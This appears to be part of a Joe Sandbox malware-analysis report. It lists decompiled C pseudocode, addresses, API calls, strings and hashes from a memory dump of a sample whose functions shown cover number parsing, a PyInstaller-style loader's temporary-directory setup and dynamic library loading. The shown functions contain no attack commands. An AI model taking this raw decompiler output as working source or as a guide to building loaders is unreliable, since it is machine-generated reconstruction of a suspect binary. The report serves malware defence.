				if ((_t209 & 0x0000ffff) - _v88 - 9 > 0) goto 0xda8e97db;
				goto 0xda8e97d6;
				if (_t209 - _v84 >= 0) goto 0xda8e97db;
				if ((_t209 & 0x0000ffff) - r13d != 0xffffffff) goto 0xda8e980f;
				_t245 = _t209 & 0x0000ffff;
				if (_t245 - 0x41 < 0) goto 0xda8e97e8;
				if (_t245 - 0x5a <= 0) goto 0xda8e97f3;
				if (_t245 - r11d < 0) goto 0xda8e980c;
				if (_t209 - 0x7a > 0) goto 0xda8e980c;
				if ((_t209 & 0x0000ffff) - r11w - _v80 > 0) goto 0xda8e9807;
				goto 0xda8e980f;
				_t416 =  *_t408;
				if ((_t245 + 0x1ffffffa9 | 0xffffffff) - r15d >= 0) goto 0xda8e984f;
				_t210 =  *_t416 & 0x0000ffff;
				_t264 = _t393 + _t401;
				r14d = _t264;
				_t114 =  &(_t416[1]); // 0x2
				 *_t408 = _t114;
				_t268 = ( !=  ? _t265 : _t265 | 0x00000002) | (r10d & 0xffffff00 | _t264 - r14d * r15d > 0x00000000 | r10d & 0xffffff00 | r14d - r9d > 0x00000000) << 0x00000002 | 0x00000008;
				goto 0xda8e960c;
				_t422 = _a8;
				_t116 = _t416 - 2; // -2
				_t395 = _t116;
				_t421 = _v72;
				 *_t408 = _t395;
				if (_t210 == 0) goto 0xda8e9885;
				if ( *_t395 == _t210) goto 0xda8e9885;
				E00007FF77FF7DA8E4394(_t395);
				 *_t395 = 0x16;
				E00007FF77FF7DA8E9D00();
				if ((sil & 0x00000008) != 0) goto 0xda8e98a1;
				_t396 = _t408[1];
				 *_t408 = _t421;
				if (_t396 == 0) goto 0xda8e989a;
				 *_t396 = _t421;
				goto 0xda8e9933;
				r8d = 0x80000000;
				_t121 = _t416 - 1; // -1
				r9d = _t121;
				if ((sil & 0x00000004) == 0) goto 0xda8e98ba;
				goto 0xda8e98d8;
				if ((sil & 0x00000001) == 0) goto 0xda8e9919;
				if ((bpl & sil) == 0) goto 0xda8e98cc;
				if (r14d - r8d <= 0) goto 0xda8e991e;
				goto 0xda8e98d1;
				if (r14d - r9d <= 0) goto 0xda8e9921;
				 *((char*)(_t422 + 0x30)) = 1;
				 *((intOrPtr*)(_t422 + 0x2c)) = 0x22;
				if ((_t268 & 0x00000001) != 0) goto 0xda8e98f1;
				r14d = r14d | 0xffffffff;
				goto 0xda8e9921;
				_t406 = _t408[1];
				if ((0x00000002 & _t268) == 0) goto 0xda8e9909;
				if (_t406 == 0) goto 0xda8e9904;
				 *_t406 =  *_t408;
				goto 0xda8e9933;
				if (_t406 == 0) goto 0xda8e9914;
				 *_t406 =  *_t408;
				goto 0xda8e9933;
				if ((bpl & sil) == 0) goto 0xda8e9921;
				r14d =  ~r14d;
				_t407 = _t408[1];
				if (_t407 == 0) goto 0xda8e9930;
				 *_t407 =  *_t408;
				return r14d;
			}































































                                                                                                                              0x7ff7da8e91b4
                                                                                                                              0x7ff7da8e91b4
                                                                                                                              0x7ff7da8e91b4
                                                                                                                              0x7ff7da8e91b4
                                                                                                                              0x7ff7da8e91b4
                                                                                                                              0x7ff7da8e91b4
                                                                                                                              0x7ff7da8e91b9
                                                                                                                              0x7ff7da8e91d0
                                                                                                                              0x7ff7da8e91d5
                                                                                                                              0x7ff7da8e91d9
                                                                                                                              0x7ff7da8e91dc
                                                                                                                              0x7ff7da8e91e4
                                                                                                                              0x7ff7da8e91ea
                                                                                                                              0x7ff7da8e91ec
                                                                                                                              0x7ff7da8e91f1
                                                                                                                              0x7ff7da8e91f7
                                                                                                                              0x7ff7da8e91fc
                                                                                                                              0x7ff7da8e9201
                                                                                                                              0x7ff7da8e9203
                                                                                                                              0x7ff7da8e920a
                                                                                                                              0x7ff7da8e920c
                                                                                                                              0x7ff7da8e9211
                                                                                                                              0x7ff7da8e9214
                                                                                                                              0x7ff7da8e9218
                                                                                                                              0x7ff7da8e921b
                                                                                                                              0x7ff7da8e9226
                                                                                                                              0x7ff7da8e922b
                                                                                                                              0x7ff7da8e9230
                                                                                                                              0x7ff7da8e9237
                                                                                                                              0x7ff7da8e9240
                                                                                                                              0x7ff7da8e9243
                                                                                                                              0x7ff7da8e924d
                                                                                                                              0x7ff7da8e9252
                                                                                                                              0x7ff7da8e9255
                                                                                                                              0x7ff7da8e925c
                                                                                                                              0x7ff7da8e925e
                                                                                                                              0x7ff7da8e9263
                                                                                                                              0x7ff7da8e9265
                                                                                                                              0x7ff7da8e926f
                                                                                                                              0x7ff7da8e9281
                                                                                                                              0x7ff7da8e9291
                                                                                                                              0x7ff7da8e9294
                                                                                                                              0x7ff7da8e929a
                                                                                                                              0x7ff7da8e929c
                                                                                                                              0x7ff7da8e929f
                                                                                                                              0x7ff7da8e92a2
                                                                                                                              0x7ff7da8e92a6
                                                                                                                              0x7ff7da8e92a9
                                                                                                                              0x7ff7da8e92b9
                                                                                                                              0x7ff7da8e92c6
                                                                                                                              0x7ff7da8e92d3
                                                                                                                              0x7ff7da8e92db
                                                                                                                              0x7ff7da8e92e1
                                                                                                                              0x7ff7da8e92e9
                                                                                                                              0x7ff7da8e92e9
                                                                                                                              0x7ff7da8e92ed
                                                                                                                              0x7ff7da8e92f5
                                                                                                                              0x7ff7da8e92fb
                                                                                                                              0x7ff7da8e9303
                                                                                                                              0x7ff7da8e9309
                                                                                                                              0x7ff7da8e9311
                                                                                                                              0x7ff7da8e9319
                                                                                                                              0x7ff7da8e9321
                                                                                                                              0x7ff7da8e9329
                                                                                                                              0x7ff7da8e9331
                                                                                                                              0x7ff7da8e9339
                                                                                                                              0x7ff7da8e9341
                                                                                                                              0x7ff7da8e9349
                                                                                                                              0x7ff7da8e9351
                                                                                                                              0x7ff7da8e9359
                                                                                                                              0x7ff7da8e9361
                                                                                                                              0x7ff7da8e9369
                                                                                                                              0x7ff7da8e9371
                                                                                                                              0x7ff7da8e9379
                                                                                                                              0x7ff7da8e9384
                                                                                                                              0x7ff7da8e938f
                                                                                                                              0x7ff7da8e93a1
                                                                                                                              0x7ff7da8e93aa
                                                                                                                              0x7ff7da8e93b4
                                                                                                                              0x7ff7da8e93bb
                                                                                                                              0x7ff7da8e93c3
                                                                                                                              0x7ff7da8e93cd
                                                                                                                              0x7ff7da8e93db
                                                                                                                              0x7ff7da8e93e3
                                                                                                                              0x7ff7da8e93ec
                                                                                                                              0x7ff7da8e93fa
                                                                                                                              0x7ff7da8e9402
                                                                                                                              0x7ff7da8e940b
                                                                                                                              0x7ff7da8e9419
                                                                                                                              0x7ff7da8e9421
                                                                                                                              0x7ff7da8e942a
                                                                                                                              0x7ff7da8e9438
                                                                                                                              0x7ff7da8e9440
                                                                                                                              0x7ff7da8e9448
                                                                                                                              0x7ff7da8e9456
                                                                                                                              0x7ff7da8e9460
                                                                                                                              0x7ff7da8e946c
                                                                                                                              0x7ff7da8e9477
                                                                                                                              0x7ff7da8e9484
                                                                                                                              0x7ff7da8e948f
                                                                                                                              0x7ff7da8e949c
                                                                                                                              0x7ff7da8e94a7
                                                                                                                              0x7ff7da8e94b4
                                                                                                                              0x7ff7da8e94bf
                                                                                                                              0x7ff7da8e94cc
                                                                                                                              0x7ff7da8e94d7
                                                                                                                              0x7ff7da8e94e4
                                                                                                                              0x7ff7da8e94ef
                                                                                                                              0x7ff7da8e94fc
                                                                                                                              0x7ff7da8e9503
                                                                                                                              0x7ff7da8e9510
                                                                                                                              0x7ff7da8e9517
                                                                                                                              0x7ff7da8e9524
                                                                                                                              0x7ff7da8e952b
                                                                                                                              0x7ff7da8e9538
                                                                                                                              0x7ff7da8e953f
                                                                                                                              0x7ff7da8e9556
                                                                                                                              0x7ff7da8e9558
                                                                                                                              0x7ff7da8e9565
                                                                                                                              0x7ff7da8e956f
                                                                                                                              0x7ff7da8e9571
                                                                                                                              0x7ff7da8e957b
                                                                                                                              0x7ff7da8e9580
                                                                                                                              0x7ff7da8e9580
                                                                                                                              0x7ff7da8e9583
                                                                                                                              0x7ff7da8e9587
                                                                                                                              0x7ff7da8e958f
                                                                                                                              0x7ff7da8e9594
                                                                                                                              0x7ff7da8e9597
                                                                                                                              0x7ff7da8e959c
                                                                                                                              0x7ff7da8e95a2
                                                                                                                              0x7ff7da8e95a5
                                                                                                                              0x7ff7da8e95ab
                                                                                                                              0x7ff7da8e95ae
                                                                                                                              0x7ff7da8e95ae
                                                                                                                              0x7ff7da8e95b2
                                                                                                                              0x7ff7da8e95b5
                                                                                                                              0x7ff7da8e95bc
                                                                                                                              0x7ff7da8e95c1
                                                                                                                              0x7ff7da8e95c4
                                                                                                                              0x7ff7da8e95c8
                                                                                                                              0x7ff7da8e95cc
                                                                                                                              0x7ff7da8e95d2
                                                                                                                              0x7ff7da8e95d7
                                                                                                                              0x7ff7da8e95d9
                                                                                                                              0x7ff7da8e95de
                                                                                                                              0x7ff7da8e95e4
                                                                                                                              0x7ff7da8e95e9
                                                                                                                              0x7ff7da8e95f4
                                                                                                                              0x7ff7da8e95ff
                                                                                                                              0x7ff7da8e9602
                                                                                                                              0x7ff7da8e9608
                                                                                                                              0x7ff7da8e9608
                                                                                                                              0x7ff7da8e9610
                                                                                                                              0x7ff7da8e961a
                                                                                                                              0x7ff7da8e9622
                                                                                                                              0x7ff7da8e9627
                                                                                                                              0x7ff7da8e962b
                                                                                                                              0x7ff7da8e962b
                                                                                                                              0x7ff7da8e962f
                                                                                                                              0x7ff7da8e963a
                                                                                                                              0x7ff7da8e963e
                                                                                                                              0x7ff7da8e9641
                                                                                                                              0x7ff7da8e9643
                                                                                                                              0x7ff7da8e964b
                                                                                                                              0x7ff7da8e9651
                                                                                                                              0x7ff7da8e965a
                                                                                                                              0x7ff7da8e9668
                                                                                                                              0x7ff7da8e966f
                                                                                                                              0x7ff7da8e967c
                                                                                                                              0x7ff7da8e9682
                                                                                                                              0x7ff7da8e9688
                                                                                                                              0x7ff7da8e968f
                                                                                                                              0x7ff7da8e969c
                                                                                                                              0x7ff7da8e96a2
                                                                                                                              0x7ff7da8e96a8
                                                                                                                              0x7ff7da8e96aa
                                                                                                                              0x7ff7da8e96b0
                                                                                                                              0x7ff7da8e96b6
                                                                                                                              0x7ff7da8e96bc
                                                                                                                              0x7ff7da8e96be
                                                                                                                              0x7ff7da8e96c4
                                                                                                                              0x7ff7da8e96d2
                                                                                                                              0x7ff7da8e96db
                                                                                                                              0x7ff7da8e96e6
                                                                                                                              0x7ff7da8e96ef
                                                                                                                              0x7ff7da8e96fa
                                                                                                                              0x7ff7da8e9703
                                                                                                                              0x7ff7da8e970e
                                                                                                                              0x7ff7da8e971b
                                                                                                                              0x7ff7da8e9726
                                                                                                                              0x7ff7da8e9733
                                                                                                                              0x7ff7da8e973e
                                                                                                                              0x7ff7da8e974b
                                                                                                                              0x7ff7da8e9756
                                                                                                                              0x7ff7da8e9763
                                                                                                                              0x7ff7da8e976a
                                                                                                                              0x7ff7da8e9777
                                                                                                                              0x7ff7da8e977e
                                                                                                                              0x7ff7da8e978b
                                                                                                                              0x7ff7da8e9792
                                                                                                                              0x7ff7da8e979f
                                                                                                                              0x7ff7da8e97a6
                                                                                                                              0x7ff7da8e97bd
                                                                                                                              0x7ff7da8e97c4
                                                                                                                              0x7ff7da8e97ce
                                                                                                                              0x7ff7da8e97d9
                                                                                                                              0x7ff7da8e97db
                                                                                                                              0x7ff7da8e97e1
                                                                                                                              0x7ff7da8e97e6
                                                                                                                              0x7ff7da8e97eb
                                                                                                                              0x7ff7da8e97f1
                                                                                                                              0x7ff7da8e9802
                                                                                                                              0x7ff7da8e980a
                                                                                                                              0x7ff7da8e980f
                                                                                                                              0x7ff7da8e9815
                                                                                                                              0x7ff7da8e9817
                                                                                                                              0x7ff7da8e9822
                                                                                                                              0x7ff7da8e9833
                                                                                                                              0x7ff7da8e983b
                                                                                                                              0x7ff7da8e9845
                                                                                                                              0x7ff7da8e9848
                                                                                                                              0x7ff7da8e984a
                                                                                                                              0x7ff7da8e984f
                                                                                                                              0x7ff7da8e9857
                                                                                                                              0x7ff7da8e9857
                                                                                                                              0x7ff7da8e985b
                                                                                                                              0x7ff7da8e9868
                                                                                                                              0x7ff7da8e986e
                                                                                                                              0x7ff7da8e9873
                                                                                                                              0x7ff7da8e9875
                                                                                                                              0x7ff7da8e987a
                                                                                                                              0x7ff7da8e9880
                                                                                                                              0x7ff7da8e9889
                                                                                                                              0x7ff7da8e988b
                                                                                                                              0x7ff7da8e988f
                                                                                                                              0x7ff7da8e9895
                                                                                                                              0x7ff7da8e9897
                                                                                                                              0x7ff7da8e989c
                                                                                                                              0x7ff7da8e98a1
                                                                                                                              0x7ff7da8e98a7
                                                                                                                              0x7ff7da8e98a7
                                                                                                                              0x7ff7da8e98af
                                                                                                                              0x7ff7da8e98b8
                                                                                                                              0x7ff7da8e98be
                                                                                                                              0x7ff7da8e98c3
                                                                                                                              0x7ff7da8e98c8
                                                                                                                              0x7ff7da8e98ca
                                                                                                                              0x7ff7da8e98cf
                                                                                                                              0x7ff7da8e98da
                                                                                                                              0x7ff7da8e98df
                                                                                                                              0x7ff7da8e98e9
                                                                                                                              0x7ff7da8e98eb
                                                                                                                              0x7ff7da8e98ef
                                                                                                                              0x7ff7da8e98f1
                                                                                                                              0x7ff7da8e98f7
                                                                                                                              0x7ff7da8e98fc
                                                                                                                              0x7ff7da8e9901
                                                                                                                              0x7ff7da8e9907
                                                                                                                              0x7ff7da8e990c
                                                                                                                              0x7ff7da8e9911
                                                                                                                              0x7ff7da8e9917
                                                                                                                              0x7ff7da8e991c
                                                                                                                              0x7ff7da8e991e
                                                                                                                              0x7ff7da8e9921
                                                                                                                              0x7ff7da8e9928
                                                                                                                              0x7ff7da8e992d
                                                                                                                              0x7ff7da8e994d

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                              • String ID: f$p$p
                                                                                                                              • API String ID: 3215553584-1995029353
                                                                                                                              • Opcode ID: 8b43f30c9b627f105c9440690760d813b6cbc2015482011a3dd154e3df4de9b0
                                                                                                                              • Instruction ID: 3d6dbb7c927b26ff8ba6c76f16138c58101197391a156b1f35ba7e2b1af69be1
                                                                                                                              • Opcode Fuzzy Hash: 8b43f30c9b627f105c9440690760d813b6cbc2015482011a3dd154e3df4de9b0
                                                                                                                              • Instruction Fuzzy Hash: E1129E71A08143C6FB22BE15D0546BDF691FB60750FC44077DE9A066C6DFBEEAA08B20
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D7BA0 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 99COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ByteCharMultiWide
                                                                                                                              • String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
                                                                                                                              • API String ID: 626452242-876015163
                                                                                                                              • Opcode ID: 7b6c31b8f2184ad36c280b88cf2315070f315e80235ff8fca529495e0cf5476c
                                                                                                                              • Instruction ID: 0e09a6cabd6015ca548be7467f349687970a08901be1a56bac06b23c241a8040
                                                                                                                              • Opcode Fuzzy Hash: 7b6c31b8f2184ad36c280b88cf2315070f315e80235ff8fca529495e0cf5476c
                                                                                                                              • Instruction Fuzzy Hash: CE41C532A08B438AFA22EF15E44056DE2A5FB54790FD80176EE4D47B96DF3CD562C720
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D6460 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 88COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 44%
                                                                                                                              			E00007FF77FF7DA8D6460(void* __edx, void* __rax, long long __rbx, void* __rcx, void* __r8, char _a24, char _a8216, signed int _a16408, long long _a16448) {
				void* __rdi;
				long _t18;
				void* _t36;
				void* _t42;
				void* _t43;
				signed long long _t52;
				signed long long _t53;
				long long _t55;
				signed long long _t79;
				void* _t81;
				void* _t82;
				void* _t83;
				void* _t91;
				void* _t92;
				void* _t93;

				_t86 = __r8;
				_t55 = __rbx;
				_t36 = __edx;
				E00007FF77FF7DA8DAD20(0x4030, __rax, _t92, _t93);
				_t84 = _t83 - __rax;
				_t52 =  *0xda90d008; // 0xde4e6c2f3c2e
				_t53 = _t52 ^ _t83 - __rax;
				_a16408 = _t53;
				_t74 = __rcx;
				r8d = 0;
				E00007FF77FF7DA8D79A0(_t53, __rbx, __rcx, __rcx, _t81, __r8);
				if (_t53 != 0) goto 0xda8d64a9;
				E00007FF77FF7DA8D2770(_t53, "LOADER: Failed to convert runtime-tmpdir to a wide string.\n", _t74, _t86, _t91);
				goto 0xda8d65b8;
				r8d = 0x1000;
				_a16448 = _t55;
				_t18 = ExpandEnvironmentStringsW(??, ??, ??);
				E00007FF77FF7DA8E3FEC(0, _t53,  &_a24, _t86);
				if (_t18 != 0) goto 0xda8d64e6;
				E00007FF77FF7DA8D2770(_t53, "LOADER: Failed to expand environment variables in the runtime-tmpdir.\n",  &_a24, _t86, _t91);
				goto 0xda8d65b0;
				if (E00007FF77FF7DA8D7710(_t55,  &_a24) == 0) goto 0xda8d6500;
				E00007FF77FF7DA8E5E94(_t53, _t55,  &_a24, _t81, _t82);
				goto 0xda8d6512;
				r8d = 0x1000;
				E00007FF77FF7DA8E5298(0, _t36, _t53, _t55,  &_a24,  &_a24, _t53, _t81, _t86);
				if (_t53 != 0) goto 0xda8d652d;
				E00007FF77FF7DA8D2770(_t53, "LOADER: Failed to obtain the absolute path of the runtime-tmpdir.\n",  &_a24, _t86, _t91);
				goto 0xda8d65b0;
				r8d = 0x2000;
				E00007FF77FF7DA8DC170();
				E00007FF77FF7DA8DC6B4(0x5c, _t53, _t91);
				_t79 = _t53;
				if (_t53 == 0) goto 0xda8d65a2;
				asm("o16 nop [eax+eax]");
				E00007FF77FF7DA8E5F18(_t42, _t43,  &_a8216, _t53, _t79, (_t79 - _t53 >> 1) + 1);
				CreateDirectoryW(??, ??);
				_t10 = _t79 + 2; // 0x2
				E00007FF77FF7DA8DC6B4(0x5c, _t10, _t91);
				if (_t53 != 0) goto 0xda8d6560;
				return E00007FF77FF7DA8DACF0(CreateDirectoryW(??, ??), 0, _a16408 ^ _t84);
			}


















                                                                                                                              0x7ff7da8d6460
                                                                                                                              0x7ff7da8d6460
                                                                                                                              0x7ff7da8d6460
                                                                                                                              0x7ff7da8d6467
                                                                                                                              0x7ff7da8d646c
                                                                                                                              0x7ff7da8d646f
                                                                                                                              0x7ff7da8d6476
                                                                                                                              0x7ff7da8d6479
                                                                                                                              0x7ff7da8d6481
                                                                                                                              0x7ff7da8d6484
                                                                                                                              0x7ff7da8d6489
                                                                                                                              0x7ff7da8d6494
                                                                                                                              0x7ff7da8d649d
                                                                                                                              0x7ff7da8d64a4
                                                                                                                              0x7ff7da8d64a9
                                                                                                                              0x7ff7da8d64af
                                                                                                                              0x7ff7da8d64bf
                                                                                                                              0x7ff7da8d64ca
                                                                                                                              0x7ff7da8d64d1
                                                                                                                              0x7ff7da8d64da
                                                                                                                              0x7ff7da8d64e1
                                                                                                                              0x7ff7da8d64f2
                                                                                                                              0x7ff7da8d64f9
                                                                                                                              0x7ff7da8d64fe
                                                                                                                              0x7ff7da8d6500
                                                                                                                              0x7ff7da8d650d
                                                                                                                              0x7ff7da8d6518
                                                                                                                              0x7ff7da8d6521
                                                                                                                              0x7ff7da8d6528
                                                                                                                              0x7ff7da8d6537
                                                                                                                              0x7ff7da8d653d
                                                                                                                              0x7ff7da8d654a
                                                                                                                              0x7ff7da8d654f
                                                                                                                              0x7ff7da8d6555
                                                                                                                              0x7ff7da8d6557
                                                                                                                              0x7ff7da8d6577
                                                                                                                              0x7ff7da8d6586
                                                                                                                              0x7ff7da8d6591
                                                                                                                              0x7ff7da8d6595
                                                                                                                              0x7ff7da8d65a0
                                                                                                                              0x7ff7da8d65d0

                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00007FF7DA8D79A0: MultiByteToWideChar.KERNEL32 ref: 00007FF7DA8D79DA
                                                                                                                              • ExpandEnvironmentStringsW.KERNEL32(00000000,00007FF7DA8D67AF,?,00000000,?,TokenIntegrityLevel), ref: 00007FF7DA8D64BF
                                                                                                                                • Part of subcall function 00007FF7DA8D2770: MessageBoxW.USER32 ref: 00007FF7DA8D2841
                                                                                                                              Strings
                                                                                                                              • LOADER: Failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF7DA8D64D3
                                                                                                                              • LOADER: Failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF7DA8D6496
                                                                                                                              • LOADER: Failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF7DA8D651A
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
                                                                                                                              • String ID: LOADER: Failed to convert runtime-tmpdir to a wide string.$LOADER: Failed to expand environment variables in the runtime-tmpdir.$LOADER: Failed to obtain the absolute path of the runtime-tmpdir.
                                                                                                                              • API String ID: 1662231829-3498232454
                                                                                                                              • Opcode ID: 637f42fe5a5eae45e2a76b8203e3e34e2a3bc52aa0a674b014bab48cab2bf0ef
                                                                                                                              • Instruction ID: 1b3900fb572a1101cbb8a53efb34f724cdde03e97494a1381f1cc6858b207863
                                                                                                                              • Opcode Fuzzy Hash: 637f42fe5a5eae45e2a76b8203e3e34e2a3bc52aa0a674b014bab48cab2bf0ef
                                                                                                                              • Instruction Fuzzy Hash: 6E31A451B2864384FE26B721A9113BDD261BF98780FC80473DE4E42797EE2CE5148720
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8DCE48 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 50%
                                                                                                                              			E00007FF77FF7DA8DCE48(void* __ecx, long long __rbx, void* __rdx, signed int __rsi, void* __r8, void* __r9) {
				intOrPtr _t61;
				intOrPtr _t65;
				intOrPtr _t67;
				intOrPtr _t68;
				struct HINSTANCE__* _t81;
				long long _t85;
				void* _t89;
				struct HINSTANCE__* _t94;
				long _t97;
				void* _t100;
				signed long long _t101;
				WCHAR* _t104;

				 *((long long*)(_t89 + 8)) = __rbx;
				 *((long long*)(_t89 + 0x10)) = _t85;
				 *((long long*)(_t89 + 0x18)) = __rsi;
				_t101 = _t100 | 0xffffffff;
				_t61 =  *((intOrPtr*)(0x7ff7da8d0000 + 0x4c710 + _t81 * 8));
				if (_t61 == _t101) goto 0xda8dcf77;
				if (_t61 != 0) goto 0xda8dcf79;
				if (__r8 == __r9) goto 0xda8dcf6f;
				_t67 =  *((intOrPtr*)(0x7ff7da8d0000 + 0x4c6f8 + __rsi * 8));
				if (_t67 == 0) goto 0xda8dceba;
				if (_t67 != _t101) goto 0xda8dcf51;
				goto 0xda8dcf25;
				r8d = 0x800;
				LoadLibraryExW(_t104, _t100, _t97);
				_t68 = _t61;
				if (_t61 != 0) goto 0xda8dcf31;
				if (GetLastError() != 0x57) goto 0xda8dcf13;
				_t14 = _t68 + 7; // 0x7
				r8d = _t14;
				if (E00007FF77FF7DA8E9950(__r8) == 0) goto 0xda8dcf13;
				r8d = 0;
				LoadLibraryExW(??, ??, ??);
				if (_t61 != 0) goto 0xda8dcf31;
				 *((intOrPtr*)(0x7ff7da8d0000 + 0x4c6f8 + __rsi * 8)) = _t101;
				goto 0xda8dce98;
				_t21 = 0x7ff7da8d0000 + 0x4c6f8 + __rsi * 8;
				_t65 =  *_t21;
				 *_t21 = _t61;
				if (_t65 == 0) goto 0xda8dcf51;
				FreeLibrary(_t94);
				GetProcAddress(_t81);
				if (_t65 == 0) goto 0xda8dcf6f;
				 *((intOrPtr*)(0x7ff7da8d0000 + 0x4c710 + _t81 * 8)) = _t65;
				goto 0xda8dcf79;
				 *((intOrPtr*)(0x7ff7da8d0000 + 0x4c710 + _t81 * 8)) = _t101;
				return 0;
			}















                                                                                                                              0x7ff7da8dce48
                                                                                                                              0x7ff7da8dce4d
                                                                                                                              0x7ff7da8dce52
                                                                                                                              0x7ff7da8dce6d
                                                                                                                              0x7ff7da8dce7a
                                                                                                                              0x7ff7da8dce86
                                                                                                                              0x7ff7da8dce8f
                                                                                                                              0x7ff7da8dce98
                                                                                                                              0x7ff7da8dcea1
                                                                                                                              0x7ff7da8dcead
                                                                                                                              0x7ff7da8dceb2
                                                                                                                              0x7ff7da8dceb8
                                                                                                                              0x7ff7da8dcec7
                                                                                                                              0x7ff7da8dcecd
                                                                                                                              0x7ff7da8dced3
                                                                                                                              0x7ff7da8dced9
                                                                                                                              0x7ff7da8dcee4
                                                                                                                              0x7ff7da8dcee6
                                                                                                                              0x7ff7da8dcee6
                                                                                                                              0x7ff7da8dcefb
                                                                                                                              0x7ff7da8dcefd
                                                                                                                              0x7ff7da8dcf05
                                                                                                                              0x7ff7da8dcf11
                                                                                                                              0x7ff7da8dcf1d
                                                                                                                              0x7ff7da8dcf2c
                                                                                                                              0x7ff7da8dcf3b
                                                                                                                              0x7ff7da8dcf3b
                                                                                                                              0x7ff7da8dcf3b
                                                                                                                              0x7ff7da8dcf46
                                                                                                                              0x7ff7da8dcf4b
                                                                                                                              0x7ff7da8dcf57
                                                                                                                              0x7ff7da8dcf60
                                                                                                                              0x7ff7da8dcf65
                                                                                                                              0x7ff7da8dcf6d
                                                                                                                              0x7ff7da8dcf6f
                                                                                                                              0x7ff7da8dcf95

                                                                                                                              APIs
                                                                                                                              • LoadLibraryExW.KERNEL32(?,?,?,00007FF7DA8DD0FA,?,?,?,00007FF7DA8DCDEC,?,?,00000001,00007FF7DA8DCA09), ref: 00007FF7DA8DCECD
                                                                                                                              • GetLastError.KERNEL32(?,?,?,00007FF7DA8DD0FA,?,?,?,00007FF7DA8DCDEC,?,?,00000001,00007FF7DA8DCA09), ref: 00007FF7DA8DCEDB
                                                                                                                              • LoadLibraryExW.KERNEL32(?,?,?,00007FF7DA8DD0FA,?,?,?,00007FF7DA8DCDEC,?,?,00000001,00007FF7DA8DCA09), ref: 00007FF7DA8DCF05
                                                                                                                              • FreeLibrary.KERNEL32(?,?,?,00007FF7DA8DD0FA,?,?,?,00007FF7DA8DCDEC,?,?,00000001,00007FF7DA8DCA09), ref: 00007FF7DA8DCF4B
                                                                                                                              • GetProcAddress.KERNEL32(?,?,?,00007FF7DA8DD0FA,?,?,?,00007FF7DA8DCDEC,?,?,00000001,00007FF7DA8DCA09), ref: 00007FF7DA8DCF57
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
